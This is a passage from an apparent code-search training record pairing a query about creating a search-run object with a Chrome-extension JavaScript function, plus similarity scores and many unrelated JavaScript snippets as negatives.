this.assRules.parsenode.split2overwrite(pString);\n}", "function splitCoconuts(intSailors) {\n // Good luck!\n return true;\n}", "function input(x){\nconsole.log('running input')\n return x.split(\" \");\n}", "function selectSplitTotal(){\n \n}", "function MainScript() {\n debug('');\n audit('MainScript', '======START======');\n // processFile( // UNIQUE INSTITUTION\n // './ABAI_RAW/UNIQUE.csv',\n // 'A Spicy Boy', parseUniqueInstitution, UNIQUE_INSTITUTIONS\n // );\n processFile( // INSTITUTION\n './ABAI_RAW/unique.csv',//abaiBatchRecord[ 'custrecord_institue_fileid' ),\n ABAI_TABLES.INSTITUTION, parseInstitution, ABAI_INSTITUTION,\n );\n // debug(JSON.stringify(ABAI_INSTITUTION));\n file.writeFileSync('./RC_RAW/' + 'fuckthisgarbage' + '.json', JSON.stringify(ABAI_INSTITUTION) );\n processFile( // DEPARTMENT ID\n './ABAI_RAW/NetSuiteInstitution-Department.csv',//abaiBatchRecord[ 'custrecord_institue_fileid' ),\n 'depo', parseDepo, ABAI_DEPARTMENT,\n );\n // debug(JSON.stringify(ABAI_INSTITUTION));\n file.writeFileSync('./RC_RAW/' + 'fuckthisgarbageDepartment' + '.json', JSON.stringify(ABAI_DEPARTMENT) );\n // debug('Matched: ' + matchedInstitutions + ' : ' + unMatchedInstitutions)\n processFile( // INSTITUTION ADDRESS\n './ABAI_RAW/institution_address.csv',//abaiBatchRecord['custrecord_institueaddr_fileid'),\n ABAI_TABLES.INSTITUTION_ADDRESS, parseInstitutionAddress, ABAI_INSTITUTION_ADDRESS\n );\n file.writeFileSync('./RC_RAW/' + 'garbageIA' + '.json', JSON.stringify(ABAI_INSTITUTION_ADDRESS) );\n processFile( // COORDINATOR\n './ABAI_RAW/coordinator.csv',//abaiBatchRecord['custrecord_coordinaor_fileid'),\n ABAI_TABLES.COORDINATOR, parseCoordinator, ABAI_COORDINATOR\n );\n file.writeFileSync('./RC_RAW/' + 'garbagecoord' + '.json', JSON.stringify(ABAI_COORDINATOR) );\n processFile( // COURSE SEQUENCE\n './ABAI_RAW/course_sequence.csv',//abaiBatchRecord['custrecord_coursesseq_fileid'),\n ABAI_TABLES.COURSE_SEQUENCE, parseCourseSequence, ABAI_COURSE_SEQUENCE\n );\n file.writeFileSync('./RC_RAW/' + 'garbageCS' + '.json', JSON.stringify(ABAI_COURSE_SEQUENCE) );\n processFile( // COURSE\n './ABAI_RAW/course.csv',//abaiBatchRecord['custrecord_course_fileid'),\n ABAI_TABLES.COURSE, parseCourse, ABAI_COURSE\n );\n file.writeFileSync('./RC_RAW/' + 'garbageCourse' + '.json', JSON.stringify(ABAI_COURSE) );\n processFile( // AP WAIVER\n './ABAI_RAW/ap_waiver.csv', //abaiBatchRecord['custrecord_apwaiver_fileid'),\n ABAI_TABLES.APWAIVER, parseApWaiver, ABAI_AP_WAIVER\n );\n file.writeFileSync('./RC_RAW/' + 'garbageWaiver' + '.json', JSON.stringify(ABAI_AP_WAIVER) );\n processFile( // INSTRUCTOR GROUP\n './ABAI_RAW/instructor_group.csv',//abaiBatchRecord['custrecord_instructorgrp_fileid'),\n ABAI_TABLES.INSTRUCTOR_GROUP, parseInstructor, ABAI_INSTRUCTOR\n );\n processFile( // COURSE SEQUENCE ASSIGNMENT\n './ABAI_RAW/course_sequence_course_assignment.csv',//abaiBatchRecord['custrecord_courseseq_crsass_fileid'),\n ABAI_TABLES.COURSE_ASSIGNEMNT, parseAssignment, ABAI_ASSIGNMENT\n );\n file.writeFileSync('./RC_RAW/' + 'garbageCSA' + '.json', JSON.stringify(ABAI_ASSIGNMENT) );\n file.writeFileSync('./RC_RAW/' + 'garbageCSA2' + '.json', JSON.stringify(ABAI_XREF.CourseToCourseSequence) );\n processFile( // ALT COURSE ID\n './ABAI_RAW/alternative_courseID.csv', //abaiBatchRecord['custrecord_alt_courseid_fileid'),\n ABAI_TABLES.ALT_COURSE_ID, parseAltCourseId, ABAI_ALT_ID\n );\n file.writeFileSync('./RC_RAW/' + 'altCourse' + '.json', JSON.stringify(ABAI_ALT_ID) );\n processFile( // CONTENT HOURS\n './ABAI_RAW/content_hours.csv',//abaiBatchRecord['custrecord_cont_hours_fileid'),\n ABAI_TABLES.CONTENT_HOURS, parseContentHours, ABAI_CONTENT_HOURS\n );\n file.writeFileSync('./RC_RAW/' + 'CHGarbage' + '.json', JSON.stringify(ABAI_CONTENT_HOURS) );\n processFile( // ALLOCATION HOURS\n './ABAI_RAW/content_area_hours_allocation.csv', //abaiBatchRecord['custrecord_cont_hsallocat_fileid'),\n ABAI_TABLES.ALLOCATION, parseAllocation, ABAI_ALLOCATION_HOURS\n );\n file.writeFileSync('./RC_RAW/' + 'garbageAllocation' + '.json', JSON.stringify(ABAI_ALLOCATION_HOURS) );\n audit('MainScript', 'FILE LOAD COMPLETE');\n file.writeFileSync('./RC_RAW/' + 'xref_sequence' + '.json', JSON.stringify(ABAI_XREF.CourseToCourseSequence));\n\n\n audit('MainScript', '=======END=======');\n}", "function start()\n{\n var splitButton = document.getElementById( \"splitButton\" );\n splitButton.addEventListener( \"click\", splitButtonPressed, false );\n} // end function start" ]
[ "0.59683746", "0.5777503", "0.5619391", "0.56147087", "0.5548427", "0.5543319", "0.5529475", "0.5509152", "0.55084133", "0.5486179", "0.54844654", "0.54670244", "0.5464491", "0.5464491", "0.5464491", "0.5439213", "0.5438727", "0.5401203", "0.53775215", "0.5333098", "0.533134", "0.5312763", "0.53123695", "0.528831", "0.5248469", "0.5247769", "0.5245828", "0.5213461", "0.52067393", "0.520577", "0.5203939", "0.5199462", "0.5199462", "0.5189378", "0.51869345", "0.51809263", "0.5171102", "0.5142692", "0.51407284", "0.5120769", "0.5104503", "0.50987554", "0.50987554", "0.5092954", "0.50926363", "0.50926363", "0.50900817", "0.50836563", "0.5075544", "0.50698394", "0.5068892", "0.504428", "0.5031163", "0.5030542", "0.50288236", "0.5026718", "0.5018942", "0.50163716", "0.501378", "0.50135475", "0.50062877", "0.49852327", "0.4981206", "0.49770442", "0.4975112", "0.49624828", "0.49460298", "0.49175578", "0.4914172", "0.49138406", "0.4904483", "0.49002668", "0.48930693", "0.4888654", "0.4882845", "0.48688996", "0.48675293", "0.48667654", "0.4865024", "0.48608628", "0.4858694", "0.48570737", "0.48471674", "0.4846818", "0.48458573", "0.48450023", "0.48372337", "0.48333248", "0.48315945", "0.48291767", "0.48281482", "0.48277816", "0.48247987", "0.48208803", "0.4819272", "0.48174798", "0.48056275", "0.48042697", "0.4803025", "0.47915608", "0.47871968" ]
0.0
-1
creates object for one "run" of the search
function createCommandObject() { var searchArray = []; var inputs = document.querySelectorAll(".parameters .query"); for (var i = 0; i < inputs.length; i++) { var itemObject = {}; itemObject.type = inputs[i].querySelector("select").value; searchArray.push(itemObject); } chrome.tabs.query({currentWindow: true, active: true }, function (tabs) { var object = searchArray; chrome.tabs.sendMessage(tabs[0].id, {command: "input", data: object,}); }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function newSearch(query) {\n ps = new PhotoSearch(query);\n \n runSearch();\n }", "function createMatch() {\n var match = newMatch();\n matches.push(match);\n return match;\n}", "constructor() { \n \n SearchResults.initialize(this);\n }", "function runSearch(search, term) {\n // By default, if no search type is provided, search for a movie\n if (!search) {\n search = \"movie-this\";\n }\n\n // this runs the omdb.js if user selects \"movie-this\"\n if (search === \"movie-this\") {\n // By default, if no search term is provided, search for \"Mr. Nobody\"\n if (!term) {\n term = \"Mr. Nobody\";\n };\n //uses constructor from omdb.js to call the findMovie function and pass through the user's term\n movie.findMovie(term);\n // this runs the bands.js if user selects \"concert-this\"\n } else if (search === \"concert-this\") {\n //uses constructor from bands.js to call the findShow function and pass through the user's term\n band.findShow(term);\n // this runs the spotify.js if user selects \"spotify-this-song\"\n } else if (search === \"spotify-this-song\") {\n //By default, if no search term is provided, search for \"The Sign\"\n if (!term) {\n term = \"The Sign\";\n };\n //uses constructor from spotify.js to call the findSong function and pass through the user's term\n spotify.findSong(term);\n // if user types in an unknown search command\n } else {\n console.log(\"I don't know that.\")\n }\n}", "function Query(searchobj) {\n this.logger = Logger.get('search');\n this.matches_waiters = [];\n this.facets = [];\n this.searchobj = searchobj;\n}", "initResearch() {\n for(let x=0; x<researchTree.length; x++) {\n let r = new Research(researchTree[x]);\n researchList.push(r);\n }\n }", "function createSingleQuery(model) {\n\n\tconst { queryName, queryTypeName, typeName } = getName(model);\n\tconst args = getSingleQueryArgs(model._attributes);\n\n\tqueries[queryName] = {\n\t\tname: queryTypeName,\n\t\targs,\n\t\ttype: objectTypes[typeName],\n\t\tresolve: resolveGetSingle(model)\n\t};\n\n}", "function makeSearch() {\n var query = $('#search-line').val();\n if (query.length < 2) {\n return null;\n }\n\n // cleanup & make AJAX query with building response\n $('#ajax-result-items').empty();\n $.getJSON(script_url+'/api/search/index?query='+query+'&lang='+script_lang, function (resp) {\n if (resp.status !== 1 || resp.count < 1)\n return;\n var searchHtml = $('#ajax-carcase-item').clone().removeClass('hidden');\n $.each(resp.data, function(relevance, item) {\n var searchItem = searchHtml.clone();\n searchItem.find('#ajax-search-link').attr('href', site_url + item.uri);\n searchItem.find('#ajax-search-title').text(item.title);\n searchItem.find('#ajax-search-snippet').text(item.snippet);\n $('#ajax-result-items').append(searchItem.html());\n searchItem = null;\n });\n $('#ajax-result-container').removeClass('hidden');\n });\n }", "async search(searchObj) {\n const { results, searchURL } = await runSearch(searchObj)\n\n this.lastSearchURL = searchURL\n this.lastSearch = searchObj\n this.results = results\n\n return results\n }", "async createSearchObject(body, format) {\n // console.log(format.data.data.search)\n format = this.search.getSearchObject(body, format);\n return format;\n }", "constructur() {}", "function run(){\n var args = Array.prototype.slice.call(arguments, 0);\n return new Runner(args, this);\n }", "function retObj(index, foundOne) {\r\n\t\tthis.index=index; //array of days on which a VAE event is noted index starts at 1\r\n\t\tthis.foundOne=foundOne; //array values are VAC, ICAC ProbVAP PossVAP\r\n\t}", "function createResultObject(testObj) {\n return {\n \"title\": testObj.title\n , \"index\": testObj.index\n , \"iterations\": []\n };\n }", "constructor() {\n this.index = {};\n this.documentWholeText = {};\n this.documentWholeTitle = {};\n this.documentRange = {};\n this.all = false;\n this.get = false;\n this.search = false;\n }", "search(query) {\r\n return this.create(Search).execute(query);\r\n }", "start() {\n this.model.start(\"results\", [\"data\", \"value\", \"filter\"], { copy: 'none' }, this.normalizeResultsFn);\n }", "async fetch () {\n if (this._fetched) return this\n // fetch the data, and store it to the original SearchResultDefinition in the prototype\n const chunk = await this.library._fetchDefinitionData(this)\n\n this.title = chunk.title\n this.keywords = chunk.keywords\n this.tags = chunk.tags\n this.link = chunk.link\n this.nav = chunk.nav\n this.body = chunk.body\n this.provider = chunk.provider\n this.id = chunk.id || chunk.link\n // augment media with rich object inherting other info from the search library's mediaSets setting, and building the full video path as a url\n this.media = chunk.media.map(formats =>\n Object.keys(formats).map(extension =>\n Object.assign(\n Object.create(\n this.library.settings.mediaSets.find(media => media.extension === extension) || {}\n ),\n { url: `${this.library.webURL}/media/${formats[extension]}` }\n )\n )\n )\n\n this._fetched = true\n return this\n }", "function getSearchObj(){\n return searchObj;\n }", "run() {\n this.query = '';\n return this;\n }", "function SearchResult(fullName, profile_url, job_title_employer) {\r\n this.trim_name = function (fullName) {\r\n var res = fullName.split(\" \");\r\n var f = res[0];\r\n var l = res[1].split(\"\")[0];\r\n return f + \" \" + l + \" \";\r\n };\r\n this.parse_el = function (job_title_employer, selection) {\r\n var stripped_text = job_title_employer.replace(/<\\/?.>/g, '');\r\n if (selection === 'title') {\r\n return stripped_text.split(' at ')[0];\r\n } else if (selection === 'employer') {\r\n return stripped_text.split(' at ')[1];\r\n }\r\n };\r\n try {\r\n this.fullName = this.trim_name(fullName);\r\n } catch (e) {\r\n this.fullName = '';\r\n }\r\n this.profile_url = profile_url;\r\n try {\r\n this.job_title = this.parse_el(job_title_employer, 'title');\r\n } catch (e) {\r\n this.job_title = '';\r\n }\r\n try {\r\n this.employer = this.parse_el(job_title_employer, 'employer');\r\n } catch (e) {\r\n this.employer = '';\r\n }\r\n\r\n\r\n}", "function startNewSearch (searchName) {\n\tif (!searchName || searchName === '') {\n\t\tconsole.error('[Model][startNewSearch]: Empty searchName');\n\t\treturn false;\n\t}\n\tupdateImageList([]);\n\tresetPage();\n\tsetSearchName(searchName);\n\t//resetRequestStatus();\n\tsetSelectIdx(0);\n\tmakeRequest();\n}", "function SearchWrapper () {}", "function getSearchObj(){\n return searchObj;\n }", "generateSearchObject(query, request) {\n const searchObject = {};\n query.map(key => {\n searchObject[key] = request.query[key];\n })\n return searchObject\n }", "function searchObject(value){\r\n\tthis.page=\"1\";\r\n\tthis.rows=\"10\";\r\n\tthis.sord=\"asc\";\r\n\tthis.sidx=\"codigo\";\r\n\tthis.descripcion=\"\";\r\n\tthis.codigo=value;\r\n}", "function runSearch(e) {\n if (e.target.value === \"\") {\n // On empty string, remove all search results\n // Otherwise this may show all results as everything is a \"match\"\n applySearchResults([]);\n } else {\n const tokens = e.target.value.split(\" \");\n const moddedTokens = tokens.map(function (token) {\n // \"*\" + token + \"*\"\n return token;\n })\n const searchTerm = moddedTokens.join(\" \");\n const searchResults = idx.search(searchTerm);\n const mapResults = searchResults.map(function (result) {\n const resultUrl = docMap.get(result.ref);\n return { name: result.ref, url: resultUrl };\n })\n\n applySearchResults(mapResults);\n }\n\n}", "function runSearch(instanceName) {\n \"use strict\";\n var searchInstance = mvc.Components.getInstance(instanceName);\n var dispatchState = searchInstance.settings['attributes']['data']['isDone'];\n if(dispatchState == true) {\n searchInstance.startSearch();\n }\n }", "function createSearchInstrumenterOnce() {\n return instrumenter || (instrumenter = Object(_msfast_search_instrumentation_lib_createInstrumenter__WEBPACK_IMPORTED_MODULE_0__[\"default\"])({\n perf: _msfast_search_logger_lib_performance__WEBPACK_IMPORTED_MODULE_1__,\n scenario: 'Unspecified'\n })); // tslint:disable-line:no-any\n}", "constructor(reservations, search, campsites, offset) {\n\t\t// return if dates are not valid\n\t\tif (!search || !(search.startDate && search.endDate)) {\n\t\t\treturn;\n\t\t}\n\n\t\t// instantiate class variables\n\t\tthis.reservations = reservations;\n\t\tthis.searchDates = new SearchDates(search.startDate, search.endDate, offset);\n\t\tthis.campsites = campsites;\n\t\tthis.offset = offset;\n\n\t\t// create the search interval\n\t\tthis.interval = new SearchInterval(this.searchDates.start, this.searchDates.stop, this.offset);\n\t}", "function makeRequestCreator() {\n let call;\n return (query, page) => dispatch => {\n if (call) {\n call.cancel();\n }\n dispatch(searchStart());\n call = axios.CancelToken.source();\n return axios(`${BASE_URL}${SEARCH}`, {\n cancelToken: call.token,\n params: {\n query,\n api_key: API_KEY,\n page,\n },\n })\n .then(response => {\n dispatch(searchSuccess(response.data));\n })\n .catch(thrown => {\n // dispatch(searchFail());\n if (axios.isCancel(thrown)) {\n // request cancelled\n } else {\n // handle errors\n }\n });\n };\n}", "runSearch (state, count = 1000) { // todo - do as atimed loop and count the iterations\n this.makeNode(state);\n for (let i = 1; i <= count; i++) {\n let node = this.select(state);\n let winner = this.game.winner(node.state);\n\n if (!node.isLeaf() && winner === null) {\n node = this.expand(node);\n winner = this.simulate(node);\n }\n this.backpropagate(node, winner);\n }\n }", "runSearch() {\n this.books = this.service.getBooks(this.searchValue).subscribe(books => this.books = books);\n this.searchValue.setValue('');\n this.test = true;\n this.searched = true;\n }", "constructor({onUpdateSearchStatus}) {\n\n this.queryStr = '';\n this.restoreSavedQueryStr();\n\n this.refSearcher = new RefSearcher();\n this.contentSearcher = new ContentSearcher();\n\n // The last-returned list search results\n this.results = [];\n this.selectedResultIndex = 0;\n this.isLoadingResults = false;\n this.onUpdateSearchStatus = onUpdateSearchStatus;\n\n }", "newInstance() {\r\n\t\t\t\t\tvar base, ref1;\r\n\t\t\t\t\tbase = ((ref1 = this.variable) != null ? ref1.base : void 0) || this.variable;\r\n\t\t\t\t\tif (base instanceof Call && !base.isNew) {\r\n\t\t\t\t\t\tbase.newInstance();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tthis.isNew = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tthis.needsUpdatedStartLocation = true;\r\n\t\t\t\t\treturn this;\r\n\t\t\t\t}", "function start() {\n doSearch();\n \n processMentions();\n\n lastCycleTime = new Date().getTime();\n schedule();\n}", "function setUpSearch() {\n const $search = jQuery(\".users-search\");\n const usersSearch = new UsersSearch($search);\n}", "function StartFaceSearchCommand(input) {\n var _this = \n // Start section: command_constructor\n _super.call(this) || this;\n _this.input = input;\n return _this;\n // End section: command_constructor\n }", "startSearching() {\n // Initializing the pre search data so that the data can be recovered when search is finished\n this._preSearchData = this.crudStore.getData();\n }", "function Search(querystring, searchindex){\n this.querystring = querystring;\n this.searchindex = searchindex;\n}", "function construct() { }", "function SearchResults(rawResponse, _url, _query, _raw, _primary) {\n if (_raw === void 0) { _raw = null; }\n if (_primary === void 0) { _primary = null; }\n this._url = _url;\n this._query = _query;\n this._raw = _raw;\n this._primary = _primary;\n this._raw = rawResponse.postquery ? rawResponse.postquery : rawResponse;\n }", "search(val, process_node = this.numeric_ordinal) {\n return this;\n }", "static create(...args) {\n\t\treturn new Rooter(...args);\n\t}", "function initResult(id) {\n\t\t\t\treturn {\n\t\t\t\t\tapiHighlight: apiHighlights[id],\n\t\t\t\t\tanchoredHighlight: '',\n\t\t\t\t\toutcome: null\n\t\t\t\t}\n\t\t\t}", "constructor()\n {\n // Default result entries\n this.result = {children: []};\n this.entry = {resultIndex: 0, trialIndex: 0, chartType: \"\",\n correctAnswer: 0, participantAnswer:0};\n\n this.trialIndex = 0;\n }", "function CSearchResult(obj)\r\n\t{\r\n\t\tthis.Object = obj;\r\n\t}", "build(val) {\n this._id = val.rs_id;\n setTimeout(() => {\n this._create(val)\n }, 1500);\n }", "static getInstanceFromDoc(doc) {\n return {\n id: doc.id,\n name: doc.data().name,\n description: doc.data().description,\n channels: doc.data().channels,\n categories: doc.data().categories,\n logo: doc.data().logo,\n rank: doc.data().rank,\n schedules: doc.data().schedules,\n year: doc.data().year\n }\n }", "async function mainNew(object) {\n\t// Mainfunction\n\t// var url = \"http://pan0107.panoulu.net:8000/orion/v2/entities?limit=300&options=count&orderBy=id\";\n\t// var lastN = \"?lastN=100\";\n\tvar tab = document.getElementsByClassName(\"sourceContainer\")[0];\n\tvar names = Object.keys(object);\n\n\tfor(var i = 0; i < names.length; i++) {\n\t\tvar mainBtn = createSourceButton(names[i], object[names[i]]);\n\t\ttab.appendChild(mainBtn);\n\t}\n\tMashupPlatform.wiring.registerCallback('recSearchInfo', function(string) {dateString=string; console.log(\"dates: \"+ string)});\n}", "function procOneSearch(t, callback) {\n\tProc\n\t\t.findOne({'id':t})\n\t\t.exec(function(err,term) {\n\t\t\tcallback (term);\n\t\t})\n}", "function makerun(generator,mode, factor,repeat) {\n var tasks = [ {\n cmd : \"state\",\n data : {\n generator : generator, \n mode : mode,\n factor : factor\n }\n } ];\n angular.forEach($rootScope.results.data().queries,\n function(v, index) {\n for (var i = 0; i < repeat; i++) {\n tasks.push({\n cmd : \"run\",\n data : index\n });\n };\n });\n return tasks;\n }", "init() {\n this._super(...arguments);\n this.filter('').then((data) =>\n this.set('results', data.results))\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x5755785a;\n this.SUBCLASS_OF_ID = 0xc3b4f687;\n\n this.min = args.min || null;\n this.results = args.results || null;\n this.totalVoters = args.totalVoters || null;\n }", "function createSearch(request, response) {\n let url = 'https://www.googleapis.com/books/v1/volumes?q=';\n\n if (request.body.search[1] === 'title') { url += `+intitle:${request.body.search[0]}`; }\n if (request.body.search[1] === 'author') { url += `+inauthor:${request.body.search[0]}`; }\n\n superagent.get(url)\n .then(apiResponse => apiResponse.body.items.map(bookResult => new Book(bookResult.volumeInfo)))\n .then(results => response.render('pages/searches/show', { results: results }))\n .catch(err => handleError(err, response));\n}", "function doFind() {\n //Set the search text to the value in the box\n if (this.id == 'search') {\n findParams.searchText = dom.byId(\"roadName\").value;\n whichSearch = \"grid\";\n } else if (this.id == 'search2') {\n findParams.searchText = dom.byId(\"parcelInfo\").value;\n whichSearch = \"grid1\";\n }\n findTask.execute(findParams, showResults);\n }", "word_factory(idn, whn, sbj, vrb, ...obj_values) {\n var that = this;\n var the_word_class = that.word_class(idn, whn, sbj, vrb, ...obj_values);\n var the_word_instance = new the_word_class(that, idn, whn, sbj, vrb, ...obj_values);\n return the_word_instance;\n }", "function Searcher(iLogger, iDisplayResult) {\r\n this.url = \"https://pbparser.appspot.com/search/main/\";\r\n this.logger = iLogger;\r\n this.result = iDisplayResult;\r\n}", "function searchIt() {\n var term = input.value();\n // Loop through every year\n for (var i = 0; i < total; i++) {\n var year = start + i;\n // Make the API query URL\n var url = makeURL(term, year);\n // Run the query and keep track of the index\n goJSON(url, i);\n }\n}", "constructor() {\n super(SearchEngine);\n }", "function createIterationResultObject(testObj, iteration) {\n return {\n \"index\": testObj.index\n , \"iteration\": iteration\n };\n }", "search(type = 'transactions') {\n this.reqType = type;\n this.options = {};\n this.after = '';\n return this;\n }", "function rt(t,e){return new w(t,e)}", "static find(keyStr, query=\"\"){ return flute.getModel(this, keyStr, query) }", "static search(searchTerm){\n return new Promise(async (resolve, reject)=>{\n if(typeof(searchTerm) == \"string\"){\n let posts = await Post.reuseablePostQuery([\n {$match: {$text: {$search: searchTerm}}},\n {$sort: {score: {$meta: \"textScore\"}}}\n ]);\n resolve(posts);\n }else{\n reject();\n }\n })\n }", "function am_ap_getNewAnalyze(title){\n\t\treturn {\n\t\t\ttitle: title, // each analyze is a 'analyze' post-type with titel in format YYYY-MM-DD\n\t\t\tid: -1,\n\t\t\tsubstances: [ // array of substances\n\t\t\t { substance_id: '-1', // substance term_id\n\t\t\t register_time: '12:00',\n\t\t\t values: [ // array of values for each material in the substance\n\t\t\t { \t\n\t\t\t \tval: '14.90', // registered value\n \tmat_id: 4, // material term_id\n \tmat_description: 'lot 1 exp:22.05.2018',\n \tmu_id: 2 // measure unit term_id\n\t\t\t }\n\t\t\t \t\t]\n\t\t\t } ]\t\t\t\n\t\t}\n\t}", "constructor() {\n\n V1Run.initialize(this);\n }", "function makeSearchQuery() {\n var active_tab = $('.add_to_search-form .tab-buttons li.active a').attr('href');\n\n if (active_tab === '#simple-search') {\n var current_query = $.trim(searchQueryField.val())\n var new_part = getSimpleQuery()\n setSearchFieldValue(mergeQuery(current_query, new_part))\n cleanSimpleQueryForm()\n } else {\n addAdvancedQueryToSearch()\n $('.add_to_search-form .appender').trigger('click')\n }\n }", "firstRun() { }", "function createObject(titleVal, typeVal, totalVal) {\n var temp = {\n id : generateId() + 1,\n title : titleVal,\n type : typeVal,\n total : totalVal\n }\n return temp;\n}", "function runSearch (input, searchType) {\n\n //Switch Function - determines input / request type// \n switch(input) {\n //OMDB// \n case \"movie-this\":\n console.log(searchType);\n movieThis(searchType);\n break;\n\n //Bands In Town//\n case \"concert-this\":\n concertThis(searchType);\n break;\n\n //Spotify//\n case \"spotify-this-song\":\n spotifyTrack(searchType);\n break;\n\n //Do Random from File//\n case \"do-what-it-says\":\n doRandom();\n break;\n }\n}", "submit(){\n this.story = new this.story_definition(this);\n this.story.submit(this.argument);\n return this;\n }", "function createSearch(request, response) {\n let url = 'https://www.googleapis.com/books/v1/volumes';\n // add the search query to the URL\n const searchBy = request.body.searchBy;\n const searchValue = request.body.search;\n const queryObj = {};\n if (searchBy === 'title') {\n queryObj['q'] = `+intitle:${searchValue}`;\n } else if (searchBy === 'author') {\n queryObj['q'] = `+inauthor:${searchValue}`;\n }\n // send the URL to the servers API\n superagent.get(url).query(queryObj).then(apiResponse => {\n return apiResponse.body.items.map(bookResult => new Book(bookResult.volumeInfo))\n }).then(results => {\n response.render('pages/searches/show', { searchResults: bookArray })\n });\n}", "function TvListingsQuery(rows, savedValues) {\n\tthis.serviceId = savedValues[\"tv-provider\"];\n\tthis.sourceIds = $.map(savedValues[\"tv-sources\"].split(\",\"), function(val) {\n\t\treturn Number(val);\n\t});\n\tthis.showings = {};\n\t\n\tthis.searcher = new Searcher(this, rows, null, 0, null, null, \"TV\");\n\tProgressTooltip.addSearcher(this.searcher);\n\n\t\n\tconsole.debug(\"Starting with\", this);\n\t\n\tvar us = this;\n\t\n\t$.getJSON(\"http://api.rovicorp.com/TVlistings/v9/listings/linearschedule/\"+this.serviceId+\"/info\", \n\t\t{\n\t\t\tduration: 240,\n\t\t\tsourceid: us.sourceIds.join(),\n \tlocale: \"en-US\",\n \tapikey: roviAccessor.tvListingsApiKey,\n \tsig: TvListings.sig()\n\t\t})\n\t.done(function(data) {\n\t\t$.each(data.LinearScheduleResult.Schedule.Airings, function(i, airing) {\n\t\t\tif (airing.Category == \"Movie\") {\n\t\t\t\tif (us.showings[airing.Title] == undefined) {\n\t\t\t\t\tus.showings[airing.Title] = {\n\t\t\t\t\t\t\tchannelName:\tairing.CallLetters,\n\t\t\t\t\t\t\tchannelNumber:\tairing.Channel,\n\t\t\t\t\t\t\ticonAvailable:\tairing.IconAvailable,\n\t\t\t\t\t\t\tparentNetworkId:\tairing.ParentNetworkId\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\t\n\t\tdataReady();\n\t});\n\t\n\tfunction dataReady() {\n\t\tconsole.debug(\"At dataReady\", us);\n\t\t\n\t\tus.searcher.readyForNext(nextRow);\n\t}\n\t\n\tfunction nextRow(rowDetails) {\n\t\tconsole.debug(\"Starting nextRow\", rowDetails);\n\t\tif (rowDetails.type == \"Feature\") {\n\t\t\tvar showing = this.showings[rowDetails.title];\n\t\t\tif (showing) {\n\t\t\t\tconsole.debug(\"Adding badge\");\n\t\t\t\tthis.searcher.addFreeformBadge(rowDetails, \"<div>\"+showing.channelName+\"(\"+showing.channelNumber+\")</div>\");\n\t\t\t}\n\t\t}\n\t\t\n\t\tthis.searcher.readyForNext(nextRow);\n\t}\n}", "constructor(doc2) {\n this.doc = doc2;\n this.steps = [];\n this.docs = [];\n this.mapping = new Mapping();\n }", "constructor() { \n \n Run.initialize(this);\n }", "static create(params) {\n return {type: `${this.prefix}${this.name}`, _instance: new this(params)}; //eslint-disable-line\n }", "function newMatch() {\n var id = matches.length;\n\n return {\n id: id,\n name: 'Match ' + id,\n player1: null,\n player2: null\n };\n}", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x4bd6e798;\n this.SUBCLASS_OF_ID = 0x476cbe32;\n\n this.poll = args.poll;\n this.results = args.results;\n }", "function make_result(r, matched, ast) {\n return { remaining: r, matched: matched, ast: ast };\n}", "function Search( element, options ) {\n this.element = element;\n\n // jQuery has an extend method which merges the contents of two or\n // more objects, storing the result in the first object. The first object\n // is generally empty as we don't want to alter the default options for\n // future instances of the plugin\n this.settings = $.extend( {}, defaults, options );\n\n this._defaults = defaults;\n this._name = pluginName;\n\n this._lastterm = null;\n this._timer = null;\n\n this.init();\n }", "static async create(name) {\n\n const newRevisionIndex = (await this.getLatestRevisionIndex()) + 1\n const newRevision = new this({\n _id: newRevisionIndex,\n name: name || `Revision started on ${(new Date()).toLocaleString()}`,\n })\n \n await newRevision.save()\n setLatestRevisionIndex(await this.getLatestRevisionIndex())\n return newRevision\n\n }", "constructor() { \n \n AuditSearchRequest.initialize(this);\n }", "construct(inSearchRequest : ISOClaimSearchRequest, inExposure : Exposure) {\n super(inSearchRequest, inExposure)\n }", "function W(e,t){return\"function\"==typeof e&&(e=e.call(t)),null==e&&(e=new r(t.getQuery(),t.model.modelName)),e}", "function createRound()\n {\n $scope.round = r = {};\n r['roundId'] = (new Date()).getTime();\n r['startTime'] = ''; //because start time should be setted after first iteration\n r['endTime'] = '';\n r['duration'] = '';\n r['ROBOTS'] = {}; //for collecting and save to DB stat for ROBOTS\n r['errors'] = []; //for collecting errors in rounds\n r['status'] = 'Waiting For Start ROBOT';\n r['willStart'] = '';\n //possible\n // \"Waiting for Start ROBOT\"\n // \"Waiting For Start Round\",\n // \"Waiting For Iteration\",\n // \"Iteration\",\n // \"Stopped\",\n // \"Error\"\n // \"Finished\"\n\n }", "function search(term, ontologyClass, firstOnly) {\n helper.debug('term: ', term, ' class: ', ontologyClass);\n return new Promise(function(resolve, reject) {\n dbp.keywordSearch(term, ontologyClass, function(results) {\n if (results == null) {\n reject(\"error searching\");\n }\n else {\n var parsedResults = JSON.parse(results).results;\n if (results.length > 0) {\n helper.debug(parsedResults);\n // If firstOnly set, only retrieve first result\n\n //// DEBUGGING DBPEDIA\n // var fname = \"/tmp/node-out-\" + (Math.random() * 1e9).toString() ;\n // fs.writeFile(fname, results, function(err) {\n // if (err) console.log(err);\n // else console.log(\"saved! \", fname);\n // });\n ////\n\n\n resolve(firstOnly ? parsedResults[0] : parsedResults);\n }\n else {\n resolve(null);\n }\n }\n });\n }); \n}", "createResults(activity, document) {\n return _wrapAsyncGenerator(function* () {\n const id = (0, _dataModel.namedNode)(new URL(\"#\".concat((0, _v.default)()), document).href);\n const published = (0, _dataModel.literal)(new Date().toISOString(), \"\".concat(xsd, \"dateTime\"));\n activity = _objectSpread({\n id,\n published\n }, activity);\n const insert = (0, _util.replaceVariables)(activityTemplate, activity);\n yield {\n id,\n insert\n };\n })();\n }", "constructor(input, start){\n this.input = input\n this.start = start \n }", "constructor(input, start){\n this.input = input\n this.start = start \n }", "BinarySearch() {\n\n }", "function runSearch() {\n ps.search()\n .then(function(rsp) {\n if(rsp.stat === \"fail\") {\n ps.showError(rsp);\n }\n else if (rsp.stat === \"ok\") {\n ps.paging = rsp.photos;\n ps.parseSearchResults();\n }\n });\n }", "function init() {\n findRandomWord();\n setFinalResultVariable();\n}", "function match(id, engine, 